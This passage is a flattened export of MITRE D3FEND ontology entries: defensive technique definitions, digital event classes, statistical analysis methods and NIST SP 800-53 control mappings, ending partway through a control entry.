subclass of: Restriction
  on property: has-participant
  some values from: ConfigurationResource
subclass of: DigitalEvent

Content Quarantine
type: Class
type: NamedIndividual
d3fend-id: D3-CQ
definition: Transfer content that does not comply with policy to a quarantine zone.
kb-article: ## How it works Quarantining serves as a protective measure to isolate potentially harmful files or elements until they can be safely analyzed or processed.
kb-reference: Reference-MethodForContentDisarmandReconstruction OPSWATInc
quarantines: DatabaseRecord
quarantines: File
subclass of: Restriction
  on property: quarantines
  some values from: File
subclass of: Restriction
  on property: quarantines
  some values from: DatabaseRecord
subclass of: ContentFiltering

Correlation Clustering
type: Class
type: NamedIndividual
d3fend-id: D3A-CC
definition: Correlation clustering provides a method for clustering a set of objects into the optimum number of clusters without specifying that number in advance.
kb-article: ## References Wikipedia. (n.d.). Correlation clustering. [Link](https://en.wikipedia.org/wiki/Correlation_clustering)
subclass of: High-dimensionClustering

D3FEND KB Thing
type: Class

DHCP Discover Event
type: Class
definition: An event where a DHCP client broadcasts a DISCOVER message to identify available DHCP servers capable of providing IP configuration.
subclass of: DHCPEvent
alternative label: DHCPDISCOVER

DHCP Offer Event
type: Class
definition: An event where a DHCP server sends an OFFER message to a client in response to a DISCOVER request, proposing an IP address and associated configuration parameters.
subclass of: Restriction
  on property: preceded-by
  some values from: DHCP Discover Event
subclass of: DHCPEvent
alternative label: DHCPOFFER

DNS Query Event
type: Class
definition: An event where a DNS query is made to resolve a domain name.
subclass of: DNS Event

Database Service Application
type: Class
type: NamedIndividual
definition: A software application that interacts with a database management system (DBMS) hosted as a separate, standalone service or server.
instructs: Database Service
subclass of: Restriction
  on property: instructs
  some values from: Database Service
subclass of: DatabaseApplication
subclass of: ServiceApplication

Density-based Clustering
type: Class
type: NamedIndividual
d3fend-id: D3A-DBC
definition: Density-based clustering connects areas of high example density into clusters. This allows for arbitrary-shaped distributions as long as dense areas can be connected.
kb-article: ## References Google Developers. (n.d.). Clustering algorithms. [Link](https://developers.google.com/machine-learning/clustering/clustering-algorithms)
subclass of: ClusterAnalysis

Description Logic
type: Class
type: NamedIndividual
d3fend-id: D3A-DL
definition: A description logic (DL) is a form of logic usually more expressive than propositional logic but less expressive than first-order logic.
kb-article: ## How it works The core reasoning problems for description logics (DLs) are (usually) decidable, and efficient decision procedures have been designed and implemented for these problems. There are general, spatial, temporal, spatiotemporal, and fuzzy description logics, and each description logic features a different balance between expressive power and reasoning complexity by supporting different sets of mathematical constructors. DLs are used in artificial intelligence to describe and reason about the relevant concepts of an application domain (known as terminological knowledge). It is of particular importance in providing a logical formalism for ontologies and the Semantic Web: the Web Ontology Language (OWL) and its profiles are based on DLs. ## References 1. Description logic. (2023, April 16). In _Wikipedia_. [Link](https://en.wikipedia.org/wiki/Description_logic)
subclass of: SymbolicAI

Detection Event
type: Class
type: NamedIndividual
definition: An event capturing the identification of a potential security issue, such as unauthorized access attempts, policy violations, or anomalous activities. Detection events form the foundation of cybersecurity monitoring and response.
related: Detect
subclass of: SecurityEvent

Digital Fingerprint
type: Class
definition: A digital signature uniquely identifies data and has the property that changing a single bit in the data will cause a completely different message digest to be generated.
subclass of: Identifier

Disk Image
type: Class
definition: A disk image is a snapshot of a storage device's structure and data typically stored in one or more computer files on another storage device.
subclass of: StorageImage

Distribution-based Clustering
type: Class
type: NamedIndividual
d3fend-id: D3A-DBC
definition: Distribution-based clustering creates and groups data points based on their likely hood of belonging to the same probability distribution (Gaussian, Binomial, etc.) in the data.
kb-article: ## References AnalytixLabs. (n.d.). Types of Clustering Algorithms. [Link](https://www.analytixlabs.co.in/blog/types-of-clustering-algorithms/#:~:text=Distribution-Based)
subclass of: ClusterAnalysis

Email Send Event
type: Class
definition: An event where an email is transmitted from a client to a recipient via a mail server. This process often involves protocols such as SMTP or its secure variants, with potential authentication and encryption for secure delivery.
subclass of: EmailEvent

Embedded Computer
type: Class
definition: An embedded computer is a computer system -- a combination of a computer processor, computer memory, and input/output peripheral devices-that has a dedicated function within a larger mechanical or electrical system. It is embedded as part of a complete device often including electrical or electronic hardware and mechanical parts. Because an embedded system typically controls physical operations of the machine that it is embedded within, it often has real-time computing constraints. Embedded systems control many devices in common use today. Ninety-eight percent of all microprocessors manufactured are used in embedded systems.
subclass of: ClientComputer
alternative label: Embedded System

Event Log Enable Event
type: Class
definition: An event where the event logging service is enabled, allowing it to actively collect and record logs.
subclass of: EventLogEvent

Event Log Stop Event
type: Class
definition: An event indicating that the event logging service has been stopped, halting the recording of system events.
subclass of: Restriction
  on property: preceded-by
  some values from: Event Log Start Event
subclass of: EventLogEvent

File Encryption Event
type: Class
definition: An event involving the application of cryptographic techniques to a file, ensuring its content is securely encoded and inaccessible without proper decryption keys.
subclass of: Restriction
  on property: preceded-by
  some values from: FileCreationEvent
subclass of: FileEvent

File Header Block Signature
type: Class
definition: A sequence of bytes used to identify and validate specific header sections within a file.
subclass of: FileMetadata

File Mount Event
type: Class
definition: An event where a file system or storage volume is mounted, making its files and directories accessible to the operating system or applications.
subclass of: FileEvent

File Path Open Function
type: Class
type: NamedIndividual
accesses: File
definition: Has an input of a file path, and opens a file handle for reading or writing.
invokes: OpenFile
subclass of: Restriction
  on property: invokes
  some values from: OpenFile
subclass of: Restriction
  on property: accesses
  some values from: File
subclass of: Subroutine

Forward Resolution IP Denylisting
type: Class
type: NamedIndividual
blocks: InboundInternetDNSResponseTraffic
d3fend-id: D3-FRIDL
definition: Blocking a DNS lookup's answer's IP address value.
kb-article: ## How it works This technique prevents a client from learning IP addresses deemed to be potentially malicious, which would have been delivered via forward resolution responses. Responses to forward resolution requests (that is, requests where a domain is sent and IP(s) are returned) are collected, and the IP address(es) included as a response are examined. If the IP address(es) are in a range included in the blacklist, then the response is dropped and not forwarded to the client. The DNS lookup can be blocked by either dropping the network traffic with an inline device, or modifying the value of the response sent by the DNS server. To transparently prevent client applications from hanging on a request, it is common practice to replace malicious values with addresses in the range 127.0.0.0/8 or the address of a honeypot maintained by the network administrators. ## Considerations * This technique does not prevent the client from contacting the blacklisted IP, only from learning about this IP address via a nameserver lookup request. * DNS Response traffic can be transmitted over many different protocols, which presents a challenge to implementing methods to extract all DNS answer IP address value(s). * DNS has historically used UDP port 53, with TCP port 53 instead used for responses over 512 bytes or after a lack of response over UDP. * Usage of new protocols to provide confidentiality for DNS traffic, such as DoH (DNS over HTTPS) and DoT (DNS over TLS), complicates collection of the IP address(es) in DNS responses. These protocols have often been enabled in browser settings transparently after a browser update, with DNS requests proxied over one of these cryptographic protocols through a specified host. * This technique must be implemented logically between the application that receives the response and the server which sent the response. * DNS responses sent in an encrypted manner, such as those using DoH or DoT, will require interception of the TLS connections in …
kb-reference: Reference-UseDNSPolicyForApplyingFiltersOnDNSQueries
synonym: Forward Resolution IP Blacklisting
subclass of: Restriction
  on property: blocks
  some values from: InboundInternetDNSResponseTraffic
subclass of: DNSDenylisting

Geometric Mean
type: Class
type: NamedIndividual
d3fend-id: D3A-GM
definition: The nth root of the product of the data values, where there are n of these. This measure is valid only for data that are measured absolutely on a strictly positive scale.
kb-article: ## References Wikipedia. (n.d.). Central tendency. [Link](https://en.wikipedia.org/wiki/Central_tendency)
subclass of: CentralTendency

Group
type: Class
subclass of: D3FENDCore

Grouping
type: Class
subclass of: Summarizing

HTML File
type: Class
definition: A document file encoded in HTML.The HyperText Markup Language, or HTML is the standard markup language for documents designed to be displayed in a web browser. It can be assisted by technologies such as Cascading Style Sheets (CSS) and scripting languages such as JavaScript. Web browsers receive HTML documents from a web server or from local storage and render the documents into multimedia web pages. HTML describes the structure of a web page semantically and originally included cues for the appearance of the document.
subclass of: DocumentFile

Hardware Device Bind Event
type: Class
definition: An event where a device is logically bound to a system or process, typically for exclusive use or integration with specific software components.
subclass of: HardwareDeviceStateEvent

Hardware Device Enabled Event
type: Class
definition: An event where a device becomes operational and available for use, typically following initialization, activation, or repair.
subclass of: Restriction
  on property: preceded-by
  some values from: HardwareDeviceConnectionEvent
subclass of: HardwareDeviceStateEvent

Harmonic Mean
type: Class
type: NamedIndividual
d3fend-id: D3A-HM
definition: The reciprocal of the arithmetic mean of the reciprocals of the data values. This measure too is valid only for data that are measured absolutely on a strictly positive scale.
kb-article: ## References Wikipedia. (n.d.). Central tendency. [Link](https://en.wikipedia.org/wiki/Central_tendency)
subclass of: CentralTendency

Histogramming
type: Class
subclass of: Summarizing

Host Reboot
type: Class
type: NamedIndividual
d3fend-id: D3-HR
definition: Initiating a host's reboot sequence to terminate all running processes.
kb-article: ## How It Works Host reboot can either be initiated in the physical presence of the device using the power functions or remotely using the provided user interface or an installed EDR agent (with the available function). This process may allow for the removal of specific types of malware, such as fileless malware, and can also prevent further damage, for example, if the system is part of a botnet. ## Considerations - If the attacker has achieved persistence techniques, this technique may not be effective - Compromised systems may not respond to remote commands to shutdown or reboot, requiring physical intervention. - Shutting down a system will usually result in the memory losing its state which can be useful in forensic activities so this should be considered when deciding to shutdown. - Shutting down or rebooting systems may disrupt access to computer resources for legitimate users.
kb-reference: Reference-NearMemoryInMemoryDetectionofFilelessMalware
terminates: Process
subclass of: Restriction
  on property: terminates
  some values from: Process
subclass of: HostShutdown

IPC Network Traffic
type: Class
definition: IPC network traffic is network traffic related to inter-process communication (IPC) between network nodes..This includes only network traffic conforming to a standard IPC protocol; not custom protocols.
subclass of: NetworkTraffic

Impersonate User
type: SystemCall
type: Class
type: NamedIndividual
forges: UserAccount
subclass of: Restriction
  on property: forges
  some values from: UserAccount
subclass of: SystemCall

Inbound Internet Encrypted Traffic
type: Class
definition: Inbound internet encrypted traffic is encrypted network traffic on an incoming connection initiated from a host outside the network to a host within a network .
subclass of: InboundInternetNetworkTraffic

Inbound Internet Web Traffic
type: Class
definition: Inbound internet web traffic is network traffic that is: (a) on an incoming connection initiated from a host outside the network to a host within a network, and (b) using a standard web protocol.
subclass of: InboundInternetNetworkTraffic

Input Function
type: Class
definition: Generic function that receives input from an untrusted source.
subclass of: Subroutine

Integer Range Validation
type: Class
type: NamedIndividual
d3fend-id: D3-IRV
definition: Ensuring that an integer is within a valid range.
hardens: MathematicalFunction
kb-article: ## How it Works Integer Range Validation can be done by programmatically checking the value of an integer before or after an operation to determine if the resulting value will be valid. Checking the value of an integer to ensure it is in a valid range helps prevent integer overflow, wraparound, and logical errors. ## Considerations * A valid range can be defined by language, data-type, or logical constraints. * Take extra care when doing operations on integers that will result in a value close to the bounds of a valid range. * Note: This resource should not be considered a definitive or exhaustive coding guideline.
kb-reference: Reference - Integer Range Validation
subclass of: Restriction
  on property: hardens
  some values from: MathematicalFunction
subclass of: SourceCodeHardening

Interquartile Range
type: Class
type: NamedIndividual
d3fend-id: D3A-IR
definition: The interquartile range (IQR) is a measure of statistical dispersion, which is the spread of the data and is defined as the difference between the 75th and 25th percentiles of the data.
kb-article: ## References Wikipedia. (n.d.). Interquartile range. [Link](https://en.wikipedia.org/wiki/Interquartile_range)
synonym: IQR
subclass of: Variability

Intrusion Detection System
type: Class
definition: An intrusion detection system (IDS) is a device or software application that monitors a network or systems for malicious activity or policy violations. Any intrusion activity or violation is typically reported either to an administrator or collected centrally using a security information and event management (SIEM) system. A SIEM system combines outputs from multiple sources and uses alarm filtering techniques to distinguish malicious activity from false alarms.
subclass of: DigitalInformationBearer
alternative label: IDS

Javascript File
type: ExecutableScript
type: NamedIndividual

Kernel Module Load Event
type: Class
definition: An event representing the loading of a kernel module, such as a device driver or dynamically linked extension, into the operating system kernel to extend or modify its capabilities.
subclass of: Restriction
  on property: precedes
  some values from: MemoryAllocationEvent
subclass of: KernelModuleEvent

Kurtosis
type: Class
type: NamedIndividual
d3fend-id: D3A-KUR
definition: The measure of the "fatness" of the tails of a pmf or pdf. The fourth standardized moment of the distribution.
kb-article: ## References Wikipedia. (n.d.). Probability distribution. [Link](https://en.wikipedia.org/wiki/Probability_distribution)
subclass of: DistributionProperties

Launch Vehicle Interface - SPARTA
type: Class
attack-id: LM-0006
definition: Threat actors may attempt to exploit reduced protections placed on the interfaces between launch vehicles and payloads in order to move from one to the other.
subclass of: SPARTALateralMovementTechnique
preferred label: Launch Vehicle Interface

Linear Regression
type: Class
type: NamedIndividual
d3fend-id: D3A-LR
definition: Statistical regression method used for predictive analysis by modeling the linear relationship between independent and dependent variables.
kb-article: ## How it works Takes independent variables (i.e. covariate, features, predictors, input variables) and dependent variables (i.e. response, output, “thing to be estimated”) and produces the coefficient(s) and intercept for a linear equation (e.g. (β1, β0) for y = β1x + β0) which predicts the relationship between the independent and independent variables by minimizing a cost function, Mean Squared Error, either directly in the case of univariate linear regression or by gradient descent* in the case of multivariate linear regression. ## Considerations - There are four principal assumptions required for good results using linear regression (the first letters of the four principal assumptions form the "LINE" mnemonic): - Linearity and Additivity - Independent Residuals - Normal Residual Distributions - Equal Variances (i.e. homoscedasticity) - Linear regression is a low variance/high bias model. - Optimizers like Adam, Batch, and Mini-Batch and others are available for certain applications and data sets. - A large learning ratio or training coefficient may lead to divergent behavior of the model and too small of values may lead to long run times and inefficiency. ## Verification Approach - Models are often evaluated by examining one or more of the metrics of R2, Root Mean Squared Error (RMSE), Mean Absolute Error (MAE), and Mean Absolute Percentage Error (MAPE). - While there is no generally accepted single best performance metric as a criterion, users of linear regression should consider the suitability of one or more of these metrics for assessing the performance of their model. - Use well known data sets to verify model execution. ## Validation Approach - Violating the principal assumptions of linear regression results in poor or misleading results. - Ensure data is truly representative and if there are any known biases. ## References 1. Gawali, Suvarna. “Linear Regression Algorithm to Make Predictions Easily.” Analytics Vidhya, 22 July 2022, https://www.analyticsvid…
subclass of: RegressionAnalysis

Load Library Event
type: Class
definition: An event where a process dynamically loads a library or module into its memory space, extending its capabilities.
subclass of: Restriction
  on property: preceded-by
  some values from: ProcessCreationEvent
subclass of: Restriction
  on property: has-participant
  some values from: SharedLibraryFile
subclass of: ProcessEvent

Local File Access Mediation
type: Class
type: NamedIndividual
d3fend-id: D3-LFAM
definition: Local file access mediation is the process of an operating system granting or denying a specific access request to a local file.
filters: OpenFile
kb-reference: Reference-FileAndFolderPermissions
synonym: Local File Access Control
comment: Replaces d3-LFP
subclass of: Restriction
  on property: filters
  some values from: OpenFile
subclass of: SystemCallFiltering

Logistic Regression
type: Class
type: NamedIndividual
d3fend-id: D3A-LR
definition: Logistic regression is estimating the parameters of a logistic model.
kb-article: ## References Wikipedia. (n.d.). Logistic regression. [Link](https://en.wikipedia.org/wiki/Logistic_regression)
subclass of: RegressionAnalysis

Logon Event
type: Class
definition: An authentication event where a new session is initiated, signifying the successful validation of credentials and establishment of an authorized connection to a system, application, or resource. This marks the beginning of the subject’s authenticated interaction with the system.
subclass of: Restriction
  on property: has-participant
  some values from: Session
subclass of: AuthenticationEvent

Mail Service
type: Class
definition: A mail service provides the ability to send and receive mail across a computer network. The mail service runs on message transfer agents (i.e., mail servers) and is accessed by users through an email client.
subclass of: NetworkService
alternative label: Email Service

Matching
type: Class
subclass of: AnalyticalPurpose

Mean
type: Class
type: NamedIndividual
d3fend-id: D3A-MEA
definition: The sum of all measurements divided by the number of observations in the data set.
kb-article: ## References Wikipedia. (n.d.). Central tendency. [Link](https://en.wikipedia.org/wiki/Central_tendency)
subclass of: CentralTendency

Mean Absolute Deviation
type: Class
type: NamedIndividual
d3fend-id: D3A-MAD
definition: The mean absolute deviation (MAD), also referred to as the "mean deviation" or sometimes "average absolute deviation", is the mean of the data's absolute deviations around the data's mean: the average (absolute) distance from the mean.
kb-article: ## References Wikipedia. (n.d.). Average absolute deviation. [Link](https://en.wikipedia.org/wiki/Average_absolute_deviation)
synonym: MAD
subclass of: Average Absolute Deviation

Median
type: Class
type: NamedIndividual
d3fend-id: D3A-MED
definition: The middle value that separates the higher half from the lower half of the data set. The median and the mode are the only measures of central tendency that can be used for ordinal data, in which values are ranked relative to each other but are not measured absolutely.
kb-article: ## References Wikipedia. (n.d.). Central tendency. [Link](https://en.wikipedia.org/wiki/Central_tendency)
subclass of: CentralTendency

Median Absolute Deviation
type: Class
type: NamedIndividual
d3fend-id: D3A-MAD
definition: The median absolute deviation (also MAD) is the median of the absolute deviation from the median.
kb-article: ## References Wikipedia. (n.d.). Average absolute deviation. [Link](https://en.wikipedia.org/wiki/Average_absolute_deviation)
subclass of: Average Absolute Deviation

Memory Address Space
type: Class
type: NamedIndividual
contains: MemoryAddress
definition: A memory address space is a space containing memory addresses.
subclass of: Restriction
  on property: contains
  some values from: MemoryAddress
subclass of: Address Space

Memory Block Start Validation
type: Class
type: NamedIndividual
d3fend-id: D3-MBSV
definition: Ensuring that a pointer accurately references the beginning of a designated memory block.
hardens: MemoryFreeFunction
kb-article: ## How it Works Ensure that a pointer is referencing the beginning of the intended block before using. ## Considerations Be careful with pointer arithmetic.
kb-reference: Reference - Memory Block Start Validation - GNU C Manual
subclass of: Restriction
  on property: hardens
  some values from: MemoryFreeFunction
subclass of: PointerValidation

Memory Deletion Event
type: Class
definition: An event marking the release or deallocation of memory resources, reclaiming them for reuse within the system.
subclass of: Restriction
  on property: preceded-by
  some values from: MemoryAllocationEvent
subclass of: Restriction
  on property: has-participant
  some values from: MemoryFreeFunction
subclass of: MemoryEvent

Memory Management Unit Component
type: Class
definition: A Memory Management Unit Component is a hardware or software element that contributes to the functionality of a Memory Management Unit, which is responsible for managing and translating memory addresses in a computing system.
subclass of: HardwareDevice

Mode
type: Class
type: NamedIndividual
d3fend-id: D3A-MOD
definition: The most frequent value in the data set. This is the only central tendency measure that can be used with nominal data, which have purely qualitative category assignments.
kb-article: ## References Wikipedia. (n.d.). Central tendency. [Link](https://en.wikipedia.org/wiki/Central_tendency)
subclass of: CentralTendency

Moments
type: Class
type: NamedIndividual
d3fend-id: D3A-MOM
definition: With a probability distribution function, the the first moment is the expected value, the second central moment is the variance, the third standardized moment is the skewness, and the fourth standardized moment is the kurtosis.
kb-article: ## References Wikipedia. (n.d.). Moment (mathematics). [Link](https://en.wikipedia.org/wiki/Moment_(mathematics))
subclass of: DistributionProperties

Multiple Regression
type: Class
type: NamedIndividual
d3fend-id: D3A-MR
definition: Multiple (linear) regression attempts to model the relationship between two or more explanatory variables and a response variable by fitting a linear equation to observed data.
kb-article: ## References Yale University Department of Statistics. (1997-98). Linear regression and multivariate analysis. [Link](http://www.stat.yale.edu/Courses/1997-98/101/linmult.htm)
synonym: Multiple Linear Regression
subclass of: RegressionAnalysis

AC-17(8)
type: NISTControl
type: NamedIndividual
broader: ExecutableDenylisting
control-name: Remote Access | Disable Nonsecure Network Protocols
member-of: NIST SP 800-53 R5

AC-23
type: NISTControl
type: NamedIndividual
control-name: Data Mining Protection
member-of: NIST SP 800-53 R5
narrower: JobFunctionAccessPatternAnalysis
narrower: LocalAccountMonitoring
narrower: ResourceAccessPatternAnalysis
narrower: UserDataTransferAnalysis

AC-24
type: NISTControl
type: NamedIndividual
control-name: Access Control Decisions
member-of: NIST SP 800-53 R5

AC-24(1)
type: NISTControl
type: NamedIndividual
control-name: Access Control Decisions | Transmit Access Authorization Information
member-of: NIST SP 800-53 R5
narrower: UserAccountPermissions

AC-24(2)
type: NISTControl
type: NamedIndividual
control-name: Access Control Decisions | No User or Process Identity
member-of: NIST SP 800-53 R5
narrower: UserAccountPermissions

AC-2(1)
type: NISTControl
type: NamedIndividual
broader: AccountLocking
broader: Multi-factorAuthentication
control-name: Account Management | Automated System Account Management
member-of: NIST SP 800-53 R5

AC-2(13)
type: NISTControl
type: NamedIndividual
control-name: Account Management | Disable Accounts for High-risk Individuals
member-of: NIST SP 800-53 R5
narrower: AccountLocking

AC-2(2)
type: NISTControl
type: NamedIndividual
broader: AccountLocking
control-name: Account Management | Automated Temporary and Emergency Account Management
member-of: NIST SP 800-53 R5

AC-2(3)
type: NISTControl
type: NamedIndividual
broader: AccountLocking
control-name: Account Management | Disable Accounts
member-of: NIST SP 800-53 R5

AC-2(4)
type: NISTControl
type: NamedIndividual
control-name: Account Management | Automated Audit Actions
member-of: NIST SP 800-53 R5
related: DomainAccountMonitoring

AC-2(5)
type: NISTControl
type: NamedIndividual
control-name: Account Management | Inactivity Logout
member-of: NIST SP 800-53 R5
related: AccountLocking

AC-2(6)
type: NISTControl
type: NamedIndividual
control-name: Account Management | Dynamic Privilege Management
member-of: NIST SP 800-53 R5

AC-2(7)
type: NISTControl
type: NamedIndividual
control-name: Account Management | Privileged User Accounts
member-of: NIST SP 800-53 R5
narrower: UserAccountPermissions

AC-2(9)
type: NISTControl
type: NamedIndividual
control-name: Account Management | Restrictions on Use of Shared and Group Accounts
member-of: NIST SP 800-53 R5
narrower: UserAccountPermissions

AC-3
type: NISTControl
type: NamedIndividual
control-name: Access Enforcement
member-of: NIST SP 800-53 R5
narrower: ExecutableAllowlisting
narrower: ExecutableDenylisting

AC-3(11)
type: NISTControl
type: NamedIndividual
control-name: Access Enforcement | Restrict Access to Specific Information Types
member-of: NIST SP 800-53 R5

AC-3(13)
type: NISTControl
type: NamedIndividual
control-name: Access Enforcement | Attribute-based Access Control
member-of: NIST SP 800-53 R5

AC-3(3)
type: NISTControl
type: NamedIndividual
control-name: Access Enforcement | Mandatory Access Control
member-of: NIST SP 800-53 R5

AC-3(7)
type: NISTControl
type: NamedIndividual
control-name: Access Enforcement | Role-based Access Control
member-of: NIST SP 800-53 R5

AC-3(8)
type: NISTControl
type: NamedIndividual
control-name: Access Enforcement | Revocation of Access Authorizations
member-of: NIST SP 800-53 R5
narrower: SystemCallFiltering

AC-4
type: NISTControl
type: NamedIndividual
control-name: Information Flow Enforcement
member-of: NIST SP 800-53 R5
narrower: InboundTrafficFiltering
narrower: OutboundTrafficFiltering

AC-4(1)
type: NISTControl
type: NamedIndividual
control-name: Information Flow Enforcement | Object Security and Privacy Attributes
member-of: NIST SP 800-53 R5
narrower: InboundTrafficFiltering
narrower: OutboundTrafficFiltering

AC-4(10)
type: NISTControl
type: NamedIndividual
broader: InboundTrafficFiltering
broader: OutboundTrafficFiltering
control-name: Information Flow Enforcement | Enable and Disable Security or Privacy Policy Filters
member-of: NIST SP 800-53 R5

AC-4(11)
type: NISTControl
type: NamedIndividual
broader: InboundTrafficFiltering
broader: OutboundTrafficFiltering
control-name: Information Flow Enforcement | Configuration of Security or Privacy Policy Filters
member-of: NIST SP 800-53 R5

AC-4(12)
type: NISTControl
type: NamedIndividual
control-name: Information Flow Enforcement | Data Type Identifiers
member-of: NIST SP 800-53 R5
narrower: InboundTrafficFiltering
narrower: OutboundTrafficFiltering

AC-4(13)
type: NISTControl
type: NamedIndividual
control-name: Information Flow Enforcement | Decomposition into Policy-relevant Subcomponents
member-of: NIST SP 800-53 R5
narrower: InboundTrafficFiltering
narrower: OutboundTrafficFiltering

AC-4(14)
type: NISTControl
type: NamedIndividual
control-name: Information Flow Enforcement | Security or Privacy Policy Filter Constraints
member-of: NIST SP 800-53 R5
narrower: InboundTrafficFiltering
narrower: OutboundTrafficFiltering

AC-4(15)
type: NISTControl
type: NamedIndividual
control-name: Information Flow Enforcement | Detection of Unsanctioned Information
member-of: NIST SP 800-53 R5
narrower: InboundTrafficFiltering
narrower: OutboundTrafficFiltering

AC-4(17)
type: NISTControl
type: NamedIndividual
control-name: Information Flow Enforcement | Domain Authentication
member-of: NIST SP 800-53 R5
narrower: DomainTrustPolicy

AC-4(19)
type: NISTControl
type: NamedIndividual
control-name: Information Flow Enforcement | Validation of Metadata
member-of: NIST SP 800-53 R5
narrower: InboundTrafficFiltering
narrower: OutboundTrafficFiltering

AC-4(20)
type: NISTControl
type: NamedIndividual
control-name: Information Flow Enforcement | Approved Solutions
member-of: NIST SP 800-53 R5
narrower: InboundTrafficFiltering
narrower: OutboundTrafficFiltering

AC-4(21)
type: NISTControl
type: NamedIndividual
control-name: Information Flow Enforcement | Physical or Logical Separation of Information Flows
member-of: NIST SP 800-53 R5
narrower: InboundTrafficFiltering
narrower: OutboundTrafficFiltering

AC-4(26)
type: NISTControl
type: NamedIndividual
control-name: Information Flow Enforcement | Audit Filtering Actions
member-of: NIST SP 800-53 R5
narrower: FileContentRules

AC-4(27)
type: NISTControl
type: NamedIndividual
control-name: Information Flow Enforcement | Redundant/independent Filtering Mechanisms
exactly: InboundTrafficFiltering
exactly: OutboundTrafficFiltering
member-of: NIST SP 800-53 R5

AC-4(28)
type: NISTControl
type: NamedIndividual
control-name: Information Flow Enforcement | Linear Filter Pipelines
member-of: NIST SP 800-53 R5
narrower: InboundTrafficFiltering
narrower: OutboundTrafficFiltering

AC-4(29)
type: NISTControl
type: NamedIndividual
control-name: Information Flow Enforcement | Filter Orchestration Engines
member-of: NIST SP 800-53 R5
narrower: InboundTrafficFiltering
narrower: OutboundTrafficFiltering

AC-4(3)
type: NISTControl
type: NamedIndividual
control-name: Information Flow Enforcement | Dynamic Information Flow Control
member-of: NIST SP 800-53 R5
narrower: InboundTrafficFiltering
narrower: OutboundTrafficFiltering

AC-4(30)
type: NISTControl
type: NamedIndividual
control-name: Information Flow Enforcement | Filter Mechanisms Using Multiple Processes
member-of: NIST SP 800-53 R5
narrower: InboundTrafficFiltering
narrower: OutboundTrafficFiltering

AC-4(32)
type: NISTControl
type: NamedIndividual
control-name: Information Flow Enforcement | Process Requirements for Information Transfer
member-of: NIST SP 800-53 R5
narrower: InboundTrafficFiltering
narrower: OutboundTrafficFiltering

AC-4(4)
type: NISTControl
type: NamedIndividual
control-name: Information Flow Enforcement | Flow Control of Encrypted Information
member-of: NIST SP 800-53 R5
narrower: InboundTrafficFiltering
narrower: OutboundTrafficFiltering

AC-4(5)
type: NISTControl
type: NamedIndividual
control-name: Information Flow Enforcement | Embedded Data Types
member-of: NIST SP 800-53 R5
narrower: InboundTrafficFiltering
narrower: OutboundTrafficFiltering

AC-4(6)
type: NISTControl
type: NamedIndividual
control-name: Information Flow Enforcement | Metadata
member-of: NIST SP 800-53 R5
narrower: InboundTrafficFiltering
narrower: OutboundTrafficFiltering

AC-4(8)
type: NISTControl
type: NamedIndividual
control-name: Information Flow Enforcement | Security and Privacy Policy Filters
member-of: NIST SP 800-53 R5
narrower: InboundTrafficFiltering
narrower: OutboundTrafficFiltering

AC-5
type: NISTControl
type: NamedIndividual
broader: LocalFilePermissions
broader: UserAccountPermissions
control-name: Separation of Duties
member-of: NIST SP 800-53 R5

AC-6
type: NISTControl
type: NamedIndividual
broader: LocalFilePermissions
broader: UserAccountPermissions
control-name: Least Privilege
member-of: NIST SP 800-53 R5

AC-6(1)
type: NISTControl
type: NamedIndividual
control-name: Least Privilege | Authorize Access to Security Functions
exactly: SystemConfigurationPermissions
member-of: NIST SP 800-53 R5

AC-6(10)
type: NISTControl
type: NamedIndividual
control-name: Least Privilege | Prohibit Non-privileged Users from Executing Privileged Functions
member-of: NIST SP 800-53 R5
narrower: LocalFilePermissions
narrower: SystemConfigurationPermissions

AC-6(3)
type: NISTControl
type: NamedIndividual
control-name: Least Privilege | Network Access to Privileged Commands
exactly: SystemConfigurationPermissions
member-of: NIST SP 800-53 R5

AC-6(4)
type: NISTControl
type: NamedIndividual
control-name: Least Privilege | Separate Processing Domains
member-of: NIST SP 800-53 R5
narrower: Hardware-basedProcessIsolation

AC-6(5)
type: NISTControl
type: NamedIndividual
control-name: Least Privilege | Privileged Accounts
member-of: NIST SP 800-53 R5
narrower: LocalFilePermissions
narrower: SystemConfigurationPermissions

AC-6(6)
type: NISTControl
type: NamedIndividual
control-name: Least Privilege | Privileged Access by Non-organizational Users
member-of: NIST SP 800-53 R5
narrower: LocalFilePermissions
narrower: SystemConfigurationPermissions

AC-6(9)
type: NISTControl
type: NamedIndividual
broader: LocalAccountMonitoring
broader: UserBehaviorAnalysis
control-name: Least Privilege | Log Use of Privileged Functions
member-of: NIST SP 800-53 R5

AC-7
type: NISTControl
type: NamedIndividual
control-name: Unsuccessful Logon Attempts
exactly: AccountLocking
member-of: NIST SP 800-53 R5

AC-7(3)
type: NISTControl
type: NamedIndividual
control-name: Unsuccessful Logon Attempts | Biometric Attempt Limiting
member-of: NIST SP 800-53 R5
narrower: AccountLocking

AC-7(4)
type: NISTControl
type: NamedIndividual
broader: AccountLocking
control-name: Unsuccessful Logon Attempts | Use of Alternate Authentication Factor
member-of: NIST SP 800-53 R5

AU-10(5)
type: NISTControl
type: NamedIndividual
broader: DriverLoadIntegrityChecking
control-name: Non-repudiation | Digital Signatures
member-of: NIST SP 800-53 R5

AU-14(2)
type: NISTControl
type: NamedIndividual
control-name: Session Audit | Capture and Record Content
member-of: NIST SP 800-53 R5
narrower: LocalAccountMonitoring

AU-15
type: NISTControl
type: NamedIndividual
control-name: Alternate Audit Logging Capability
member-of: NIST SP 800-53 R5
narrower: LocalAccountMonitoring

AU-2
type: NISTControl
type: NamedIndividual
control-name: Event Logging
exactly: LocalAccountMonitoring
member-of: NIST SP 800-53 R5

AU-2(1)
type: NISTControl
type: NamedIndividual
control-name: Event Logging | Compilation of Audit Records from Multiple Sources
exactly: LocalAccountMonitoring
member-of: NIST SP 800-53 R5

AU-2(2)
type: NISTControl
type: NamedIndividual
control-name: Event Logging | Selection of Audit Events by Component
exactly: LocalAccountMonitoring
member-of: NIST SP 800-53 R5

AU-3
type: NISTControl
type: NamedIndividual
control-name: Content of Audit Records
exactly: LocalAccountMonitoring
member-of: NIST SP 800-53 R5

AU-4
type: NISTControl
type: NamedIndividual
control-name: Audit Log Storage Capacity
member-of: NIST SP 800-53 R5
narrower: LocalAccountMonitoring

CM-14
type: NISTControl
type: NamedIndividual
control-name: Signed Components
member-of: NIST SP 800-53 R5
related: DriverLoadIntegrityChecking
related: MessageAuthentication

CM-5
type: NISTControl
type: NamedIndividual
control-name: Access Restrictions for Change
member-of: NIST SP 800-53 R5
narrower: ExecutableAllowlisting
narrower: ExecutableDenylisting
narrower: LocalAccountMonitoring

CM-5(1)
type: NISTControl
type: NamedIndividual
